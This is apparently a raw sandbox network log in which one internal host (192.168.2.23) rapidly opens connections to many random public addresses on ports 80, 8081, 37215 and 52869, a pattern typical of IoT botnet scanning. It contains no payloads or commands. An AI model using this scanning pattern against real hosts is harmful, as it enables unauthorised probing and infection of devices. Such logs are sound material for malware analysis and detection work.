Jul 20, 2024 23:00:59.403557062 CEST	55618	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:00:59.404314995 CEST	54604	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.404417038 CEST	8081	58006	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:59.404687881 CEST	34664	52869	192.168.2.23	146.210.17.240
Jul 20, 2024 23:00:59.404828072 CEST	8081	53268	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:59.404917002 CEST	80	45206	95.252.122.113	192.168.2.23
Jul 20, 2024 23:00:59.405041933 CEST	8081	58886	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:59.405065060 CEST	38216	37215	192.168.2.23	197.235.150.198
Jul 20, 2024 23:00:59.405124903 CEST	58886	8081	192.168.2.23	211.145.32.152
Jul 20, 2024 23:00:59.405497074 CEST	44688	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:59.405497074 CEST	44688	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:59.406339884 CEST	80	46784	95.38.106.58	192.168.2.23
Jul 20, 2024 23:00:59.407304049 CEST	52869	34424	208.190.62.115	192.168.2.23
Jul 20, 2024 23:00:59.407332897 CEST	37215	47118	197.217.22.246	192.168.2.23
Jul 20, 2024 23:00:59.407351971 CEST	34424	52869	192.168.2.23	208.190.62.115
Jul 20, 2024 23:00:59.407371044 CEST	47118	37215	192.168.2.23	197.217.22.246
Jul 20, 2024 23:00:59.407406092 CEST	53002	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.407406092 CEST	53002	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.408173084 CEST	8081	53722	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:59.408233881 CEST	80	47902	95.38.106.58	192.168.2.23
Jul 20, 2024 23:00:59.408293009 CEST	47902	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:59.408411026 CEST	45808	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:59.408833981 CEST	80	50728	95.170.175.133	192.168.2.23
Jul 20, 2024 23:00:59.408981085 CEST	53884	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.409194946 CEST	80	46784	95.38.106.58	192.168.2.23
Jul 20, 2024 23:00:59.409249067 CEST	46784	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:00:59.410454035 CEST	8081	54604	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:59.410494089 CEST	54604	8081	192.168.2.23	37.155.128.10
Jul 20, 2024 23:00:59.410762072 CEST	52869	34664	146.210.17.240	192.168.2.23
Jul 20, 2024 23:00:59.410792112 CEST	37215	38216	197.235.150.198	192.168.2.23
Jul 20, 2024 23:00:59.410877943 CEST	41366	37215	192.168.2.23	197.37.15.231
Jul 20, 2024 23:00:59.410933018 CEST	34664	52869	192.168.2.23	146.210.17.240
Jul 20, 2024 23:00:59.410974026 CEST	38216	37215	192.168.2.23	197.235.150.198
Jul 20, 2024 23:00:59.411636114 CEST	43708	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:59.411636114 CEST	43708	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:59.412060976 CEST	80	44688	95.217.54.107	192.168.2.23
Jul 20, 2024 23:00:59.412473917 CEST	43988	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:59.412473917 CEST	43988	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:59.412626982 CEST	49550	52869	192.168.2.23	78.39.181.117
Jul 20, 2024 23:00:59.413002968 CEST	80	39506	95.58.49.71	192.168.2.23
Jul 20, 2024 23:00:59.413187981 CEST	8081	54292	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:59.415060043 CEST	8081	53002	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:59.415397882 CEST	44832	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:59.416326046 CEST	44870	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:59.416578054 CEST	80	45808	95.217.54.107	192.168.2.23
Jul 20, 2024 23:00:59.416634083 CEST	45808	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:00:59.416960001 CEST	8081	53884	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:59.417001009 CEST	53884	8081	192.168.2.23	210.148.47.191
Jul 20, 2024 23:00:59.417042971 CEST	8081	35160	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:59.417280912 CEST	56956	37215	192.168.2.23	89.73.227.199
Jul 20, 2024 23:00:59.417444944 CEST	37215	41366	197.37.15.231	192.168.2.23
Jul 20, 2024 23:00:59.417484045 CEST	41366	37215	192.168.2.23	197.37.15.231
Jul 20, 2024 23:00:59.418375969 CEST	80	43708	95.128.166.108	192.168.2.23
Jul 20, 2024 23:00:59.419074059 CEST	8081	43988	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:59.419586897 CEST	52869	49550	78.39.181.117	192.168.2.23
Jul 20, 2024 23:00:59.419718027 CEST	49550	52869	192.168.2.23	78.39.181.117
Jul 20, 2024 23:00:59.420078993 CEST	41684	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:00:59.420078993 CEST	41684	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:00:59.420671940 CEST	8081	60610	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:59.420700073 CEST	80	38844	95.185.52.107	192.168.2.23
Jul 20, 2024 23:00:59.420734882 CEST	45010	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.420734882 CEST	45010	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.421464920 CEST	80	44832	95.128.166.108	192.168.2.23
Jul 20, 2024 23:00:59.421467066 CEST	60300	52869	192.168.2.23	57.92.179.211
Jul 20, 2024 23:00:59.421509027 CEST	44832	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:00:59.421720028 CEST	8081	44870	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:59.421771049 CEST	44870	8081	192.168.2.23	169.22.153.45
Jul 20, 2024 23:00:59.422966957 CEST	37215	56956	89.73.227.199	192.168.2.23
Jul 20, 2024 23:00:59.423177004 CEST	56956	37215	192.168.2.23	89.73.227.199
Jul 20, 2024 23:00:59.423501968 CEST	45892	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.424602985 CEST	42814	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:00:59.424633980 CEST	8081	43692	123.41.132.40	192.168.2.23
Jul 20, 2024 23:00:59.425133944 CEST	80	41684	95.64.102.24	192.168.2.23
Jul 20, 2024 23:00:59.426028967 CEST	41068	37215	192.168.2.23	41.130.229.37
Jul 20, 2024 23:00:59.426201105 CEST	8081	45010	52.47.117.27	192.168.2.23
Jul 20, 2024 23:00:59.426815987 CEST	52869	60300	57.92.179.211	192.168.2.23
Jul 20, 2024 23:00:59.426963091 CEST	60300	52869	192.168.2.23	57.92.179.211
Jul 20, 2024 23:00:59.428035975 CEST	59536	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.428035975 CEST	59536	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.428368092 CEST	50620	52869	192.168.2.23	152.136.236.137
Jul 20, 2024 23:00:59.428684950 CEST	80	48560	95.244.122.54	192.168.2.23
Jul 20, 2024 23:00:59.428714037 CEST	8081	54558	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:59.428738117 CEST	35836	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:59.428738117 CEST	35836	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:59.429195881 CEST	8081	45892	52.47.117.27	192.168.2.23
Jul 20, 2024 23:00:59.429343939 CEST	45892	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.430476904 CEST	80	42814	95.64.102.24	192.168.2.23
Jul 20, 2024 23:00:59.430525064 CEST	42814	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:00:59.431710005 CEST	37215	41068	41.130.229.37	192.168.2.23
Jul 20, 2024 23:00:59.431803942 CEST	41068	37215	192.168.2.23	41.130.229.37
Jul 20, 2024 23:00:59.432280064 CEST	60418	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.433012009 CEST	40708	37215	192.168.2.23	197.176.41.115
Jul 20, 2024 23:00:59.433271885 CEST	36972	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:59.433897972 CEST	8081	59536	203.12.152.184	192.168.2.23
Jul 20, 2024 23:00:59.434142113 CEST	52869	50620	152.136.236.137	192.168.2.23
Jul 20, 2024 23:00:59.434184074 CEST	50620	52869	192.168.2.23	152.136.236.137
Jul 20, 2024 23:00:59.434406042 CEST	80	35836	95.87.179.26	192.168.2.23
Jul 20, 2024 23:00:59.435683012 CEST	33716	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.435683012 CEST	33716	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.435928106 CEST	56660	52869	192.168.2.23	166.7.60.196
Jul 20, 2024 23:00:59.436604023 CEST	45152	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:59.436604023 CEST	45152	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:59.436698914 CEST	80	53906	95.234.195.112	192.168.2.23
Jul 20, 2024 23:00:59.436726093 CEST	8081	47164	35.100.103.23	192.168.2.23
Jul 20, 2024 23:00:59.437073946 CEST	34600	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.440136909 CEST	38714	37215	192.168.2.23	41.99.7.194
Jul 20, 2024 23:00:59.440393925 CEST	46290	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:59.440754890 CEST	8081	37468	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:59.441154957 CEST	51232	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.441154957 CEST	51232	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.441176891 CEST	8081	60418	203.12.152.184	192.168.2.23
Jul 20, 2024 23:00:59.441209078 CEST	37215	40708	197.176.41.115	192.168.2.23
Jul 20, 2024 23:00:59.441232920 CEST	60418	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.441236019 CEST	80	36972	95.87.179.26	192.168.2.23
Jul 20, 2024 23:00:59.441274881 CEST	40708	37215	192.168.2.23	197.176.41.115
Jul 20, 2024 23:00:59.441376925 CEST	36972	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:00:59.443239927 CEST	52936	52869	192.168.2.23	86.74.227.91
Jul 20, 2024 23:00:59.443476915 CEST	48094	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:59.443476915 CEST	48094	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:59.443866014 CEST	52116	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.444331884 CEST	8081	33716	197.124.121.19	192.168.2.23
Jul 20, 2024 23:00:59.444463015 CEST	36626	37215	192.168.2.23	217.159.91.139
Jul 20, 2024 23:00:59.444732904 CEST	52869	56660	166.7.60.196	192.168.2.23
Jul 20, 2024 23:00:59.444777012 CEST	56660	52869	192.168.2.23	166.7.60.196
Jul 20, 2024 23:00:59.444782019 CEST	80	45152	95.80.234.181	192.168.2.23
Jul 20, 2024 23:00:59.444793940 CEST	8081	58006	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:59.444828987 CEST	80	54504	95.212.120.98	192.168.2.23
Jul 20, 2024 23:00:59.445950985 CEST	49234	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:59.446125984 CEST	8081	34600	197.124.121.19	192.168.2.23
Jul 20, 2024 23:00:59.446490049 CEST	34600	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.446510077 CEST	43542	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:59.446510077 CEST	43542	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:59.447932005 CEST	37215	38714	41.99.7.194	192.168.2.23
Jul 20, 2024 23:00:59.447945118 CEST	80	46290	95.80.234.181	192.168.2.23
Jul 20, 2024 23:00:59.447989941 CEST	46290	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:00:59.448092937 CEST	38714	37215	192.168.2.23	41.99.7.194
Jul 20, 2024 23:00:59.448371887 CEST	8081	51232	18.200.102.195	192.168.2.23
Jul 20, 2024 23:00:59.448581934 CEST	44426	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:59.449008942 CEST	49528	52869	192.168.2.23	46.176.142.26
Jul 20, 2024 23:00:59.449456930 CEST	52010	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:59.449457884 CEST	52010	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:59.449464083 CEST	8081	53722	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:59.450660944 CEST	51646	37215	192.168.2.23	197.50.46.65
Jul 20, 2024 23:00:59.450968981 CEST	52869	52936	86.74.227.91	192.168.2.23
Jul 20, 2024 23:00:59.450982094 CEST	80	48094	95.108.145.90	192.168.2.23
Jul 20, 2024 23:00:59.451065063 CEST	8081	52116	18.200.102.195	192.168.2.23
Jul 20, 2024 23:00:59.451092958 CEST	52936	52869	192.168.2.23	86.74.227.91
Jul 20, 2024 23:00:59.451200962 CEST	37215	36626	217.159.91.139	192.168.2.23
Jul 20, 2024 23:00:59.451241016 CEST	36626	37215	192.168.2.23	217.159.91.139
Jul 20, 2024 23:00:59.451241016 CEST	52116	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.451975107 CEST	41456	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.451975107 CEST	41456	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.452313900 CEST	80	49234	95.108.145.90	192.168.2.23
Jul 20, 2024 23:00:59.452322006 CEST	53148	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:59.452383995 CEST	49234	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:59.452716112 CEST	8081	43542	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:59.452970028 CEST	80	44688	95.217.54.107	192.168.2.23
Jul 20, 2024 23:00:59.454119921 CEST	8081	44426	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:59.454170942 CEST	44426	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:59.454674006 CEST	52869	49528	46.176.142.26	192.168.2.23
Jul 20, 2024 23:00:59.454812050 CEST	49528	52869	192.168.2.23	46.176.142.26
Jul 20, 2024 23:00:59.454826117 CEST	80	52010	95.87.77.137	192.168.2.23
Jul 20, 2024 23:00:59.454931974 CEST	42340	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.455182076 CEST	59236	52869	192.168.2.23	34.184.40.220
Jul 20, 2024 23:00:59.455869913 CEST	38768	37215	192.168.2.23	64.62.112.142
Jul 20, 2024 23:00:59.455986023 CEST	37215	51646	197.50.46.65	192.168.2.23
Jul 20, 2024 23:00:59.455996990 CEST	47650	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:59.455996990 CEST	47650	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:59.456281900 CEST	51646	37215	192.168.2.23	197.50.46.65
Jul 20, 2024 23:00:59.456856966 CEST	8081	53002	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:59.457658052 CEST	8081	41456	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:59.457672119 CEST	80	53148	95.87.77.137	192.168.2.23
Jul 20, 2024 23:00:59.457716942 CEST	53148	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:59.459296942 CEST	45728	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.459296942 CEST	45728	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.460542917 CEST	8081	42340	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:59.460577965 CEST	42340	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:59.461008072 CEST	48788	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:59.461055040 CEST	8081	43988	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:59.461067915 CEST	80	43708	95.128.166.108	192.168.2.23
Jul 20, 2024 23:00:59.461091995 CEST	52869	59236	34.184.40.220	192.168.2.23
Jul 20, 2024 23:00:59.461167097 CEST	59236	52869	192.168.2.23	34.184.40.220
Jul 20, 2024 23:00:59.461647034 CEST	37215	38768	64.62.112.142	192.168.2.23
Jul 20, 2024 23:00:59.461815119 CEST	38768	37215	192.168.2.23	64.62.112.142
Jul 20, 2024 23:00:59.461879969 CEST	80	47650	95.248.79.76	192.168.2.23
Jul 20, 2024 23:00:59.461998940 CEST	46612	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.462809086 CEST	42804	52869	192.168.2.23	177.27.5.34
Jul 20, 2024 23:00:59.465548038 CEST	8081	45728	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:59.466263056 CEST	80	48788	95.248.79.76	192.168.2.23
Jul 20, 2024 23:00:59.466424942 CEST	48788	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:59.466696024 CEST	48356	37215	192.168.2.23	41.156.85.195
Jul 20, 2024 23:00:59.466914892 CEST	54672	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:59.466914892 CEST	54672	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:59.468173981 CEST	8081	46612	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:59.468214035 CEST	46612	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:59.468307018 CEST	59404	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.468307018 CEST	59404	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.468630075 CEST	52869	42804	177.27.5.34	192.168.2.23
Jul 20, 2024 23:00:59.468667030 CEST	42804	52869	192.168.2.23	177.27.5.34
Jul 20, 2024 23:00:59.468900919 CEST	8081	45010	52.47.117.27	192.168.2.23
Jul 20, 2024 23:00:59.468914032 CEST	80	41684	95.64.102.24	192.168.2.23
Jul 20, 2024 23:00:59.471267939 CEST	55810	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:59.471899033 CEST	60290	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.472644091 CEST	34482	52869	192.168.2.23	80.176.127.107
Jul 20, 2024 23:00:59.472805977 CEST	54070	37215	192.168.2.23	197.77.47.158
Jul 20, 2024 23:00:59.473021984 CEST	37215	48356	41.156.85.195	192.168.2.23
Jul 20, 2024 23:00:59.473130941 CEST	48356	37215	192.168.2.23	41.156.85.195
Jul 20, 2024 23:00:59.473189116 CEST	80	54672	95.55.160.81	192.168.2.23
Jul 20, 2024 23:00:59.473587036 CEST	8081	59404	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:59.474370956 CEST	47314	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:59.474370956 CEST	47314	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:59.474862099 CEST	50832	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.474863052 CEST	50832	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.476680040 CEST	80	35836	95.87.179.26	192.168.2.23
Jul 20, 2024 23:00:59.476692915 CEST	8081	59536	203.12.152.184	192.168.2.23
Jul 20, 2024 23:00:59.476861954 CEST	51716	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.476948977 CEST	80	55810	95.55.160.81	192.168.2.23
Jul 20, 2024 23:00:59.477094889 CEST	55810	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:59.477633953 CEST	48454	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:59.478437901 CEST	8081	60290	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:59.478519917 CEST	43060	52869	192.168.2.23	223.83.213.222
Jul 20, 2024 23:00:59.478522062 CEST	60290	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:59.478861094 CEST	52869	34482	80.176.127.107	192.168.2.23
Jul 20, 2024 23:00:59.478904963 CEST	34482	52869	192.168.2.23	80.176.127.107
Jul 20, 2024 23:00:59.479202032 CEST	37215	54070	197.77.47.158	192.168.2.23
Jul 20, 2024 23:00:59.479233980 CEST	48680	37215	192.168.2.23	1.70.219.104
Jul 20, 2024 23:00:59.479249954 CEST	54070	37215	192.168.2.23	197.77.47.158
Jul 20, 2024 23:00:59.479851007 CEST	80	47314	95.19.197.138	192.168.2.23
Jul 20, 2024 23:00:59.480138063 CEST	58288	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.480138063 CEST	58288	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.480600119 CEST	8081	50832	138.111.21.139	192.168.2.23
Jul 20, 2024 23:00:59.480729103 CEST	34976	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:59.480729103 CEST	34976	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:59.482508898 CEST	8081	51716	138.111.21.139	192.168.2.23
Jul 20, 2024 23:00:59.482533932 CEST	51716	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.483148098 CEST	80	48454	95.19.197.138	192.168.2.23
Jul 20, 2024 23:00:59.483308077 CEST	48454	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:59.483658075 CEST	59176	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.483802080 CEST	52869	43060	223.83.213.222	192.168.2.23
Jul 20, 2024 23:00:59.483844995 CEST	43060	52869	192.168.2.23	223.83.213.222
Jul 20, 2024 23:00:59.484167099 CEST	38630	52869	192.168.2.23	216.151.5.50
Jul 20, 2024 23:00:59.484365940 CEST	35972	37215	192.168.2.23	209.253.85.199
Jul 20, 2024 23:00:59.484502077 CEST	36120	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:59.484623909 CEST	80	45152	95.80.234.181	192.168.2.23
Jul 20, 2024 23:00:59.484648943 CEST	8081	33716	197.124.121.19	192.168.2.23
Jul 20, 2024 23:00:59.484837055 CEST	37215	48680	1.70.219.104	192.168.2.23
Jul 20, 2024 23:00:59.484997988 CEST	48680	37215	192.168.2.23	1.70.219.104
Jul 20, 2024 23:00:59.485244036 CEST	8081	58288	69.10.172.90	192.168.2.23
Jul 20, 2024 23:00:59.485790014 CEST	80	34976	95.105.125.225	192.168.2.23
Jul 20, 2024 23:00:59.486506939 CEST	47820	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:59.486506939 CEST	47820	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:59.487255096 CEST	45460	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:59.487255096 CEST	45460	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:59.487832069 CEST	48706	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:59.488744974 CEST	8081	51232	18.200.102.195	192.168.2.23
Jul 20, 2024 23:00:59.489202976 CEST	8081	59176	69.10.172.90	192.168.2.23
Jul 20, 2024 23:00:59.489362955 CEST	59176	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.489511967 CEST	52869	38630	216.151.5.50	192.168.2.23
Jul 20, 2024 23:00:59.489523888 CEST	37215	35972	209.253.85.199	192.168.2.23
Jul 20, 2024 23:00:59.489547014 CEST	38630	52869	192.168.2.23	216.151.5.50
Jul 20, 2024 23:00:59.489578962 CEST	35972	37215	192.168.2.23	209.253.85.199
Jul 20, 2024 23:00:59.490026951 CEST	58548	52869	192.168.2.23	37.189.124.248
Jul 20, 2024 23:00:59.490118027 CEST	46260	37215	192.168.2.23	157.234.41.166
Jul 20, 2024 23:00:59.490132093 CEST	80	36120	95.105.125.225	192.168.2.23
Jul 20, 2024 23:00:59.490309000 CEST	36120	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:59.490334034 CEST	46604	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:59.492074966 CEST	43298	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:59.492075920 CEST	43298	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:59.492208004 CEST	8081	47820	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:59.492424011 CEST	80	45460	95.158.140.140	192.168.2.23
Jul 20, 2024 23:00:59.493071079 CEST	80	48094	95.108.145.90	192.168.2.23
Jul 20, 2024 23:00:59.494132042 CEST	8081	48706	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:59.494174957 CEST	48706	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:59.495316982 CEST	59148	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:59.495316982 CEST	59148	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:59.495671988 CEST	37215	46260	157.234.41.166	192.168.2.23
Jul 20, 2024 23:00:59.495701075 CEST	52869	58548	37.189.124.248	192.168.2.23
Jul 20, 2024 23:00:59.495708942 CEST	46260	37215	192.168.2.23	157.234.41.166
Jul 20, 2024 23:00:59.495743036 CEST	44188	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:59.495882034 CEST	58548	52869	192.168.2.23	37.189.124.248
Jul 20, 2024 23:00:59.496273994 CEST	46470	52869	192.168.2.23	64.86.139.164
Jul 20, 2024 23:00:59.496416092 CEST	80	46604	95.158.140.140	192.168.2.23
Jul 20, 2024 23:00:59.496486902 CEST	46604	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:00:59.496495962 CEST	47806	37215	192.168.2.23	157.143.234.224
Jul 20, 2024 23:00:59.496953011 CEST	80	52010	95.87.77.137	192.168.2.23
Jul 20, 2024 23:00:59.496978045 CEST	8081	43542	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:59.497333050 CEST	8081	43298	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:59.499067068 CEST	60292	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:59.500339985 CEST	34944	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.500340939 CEST	34944	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.500516891 CEST	80	59148	95.219.125.105	192.168.2.23
Jul 20, 2024 23:00:59.500674009 CEST	8081	41456	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:59.501430988 CEST	8081	44188	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:59.501478910 CEST	44188	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:59.502213001 CEST	37215	47806	157.143.234.224	192.168.2.23
Jul 20, 2024 23:00:59.502239943 CEST	52869	46470	64.86.139.164	192.168.2.23
Jul 20, 2024 23:00:59.502257109 CEST	47806	37215	192.168.2.23	157.143.234.224
Jul 20, 2024 23:00:59.502299070 CEST	46470	52869	192.168.2.23	64.86.139.164
Jul 20, 2024 23:00:59.504498959 CEST	35832	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.504527092 CEST	80	60292	95.219.125.105	192.168.2.23
Jul 20, 2024 23:00:59.504564047 CEST	60292	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:00:59.504656076 CEST	80	47650	95.248.79.76	192.168.2.23
Jul 20, 2024 23:00:59.505376101 CEST	46708	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:59.505376101 CEST	46708	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:59.505706072 CEST	8081	34944	36.61.132.121	192.168.2.23
Jul 20, 2024 23:00:59.507366896 CEST	53918	52869	192.168.2.23	148.211.13.100
Jul 20, 2024 23:00:59.507510900 CEST	55680	37215	192.168.2.23	197.17.32.247
Jul 20, 2024 23:00:59.509516001 CEST	8081	45728	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:59.509783030 CEST	53926	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.509783030 CEST	53926	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.509943008 CEST	8081	35832	36.61.132.121	192.168.2.23
Jul 20, 2024 23:00:59.510042906 CEST	35832	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.510709047 CEST	47850	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:59.511219978 CEST	80	46708	95.249.221.188	192.168.2.23
Jul 20, 2024 23:00:59.512804985 CEST	52869	53918	148.211.13.100	192.168.2.23
Jul 20, 2024 23:00:59.512866020 CEST	53918	52869	192.168.2.23	148.211.13.100
Jul 20, 2024 23:00:59.513398886 CEST	37215	55680	197.17.32.247	192.168.2.23
Jul 20, 2024 23:00:59.513452053 CEST	55680	37215	192.168.2.23	197.17.32.247
Jul 20, 2024 23:00:59.514040947 CEST	54818	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.514946938 CEST	8081	53926	91.28.193.161	192.168.2.23
Jul 20, 2024 23:00:59.514978886 CEST	60530	37215	192.168.2.23	41.50.33.93
Jul 20, 2024 23:00:59.515113115 CEST	47570	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:59.515113115 CEST	47570	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:00:59.516419888 CEST	80	47850	95.249.221.188	192.168.2.23
Jul 20, 2024 23:00:59.516503096 CEST	47850	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:00:59.516647100 CEST	8081	59404	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:59.516659021 CEST	80	54672	95.55.160.81	192.168.2.23
Jul 20, 2024 23:00:59.516992092 CEST	35072	52869	192.168.2.23	205.45.42.138
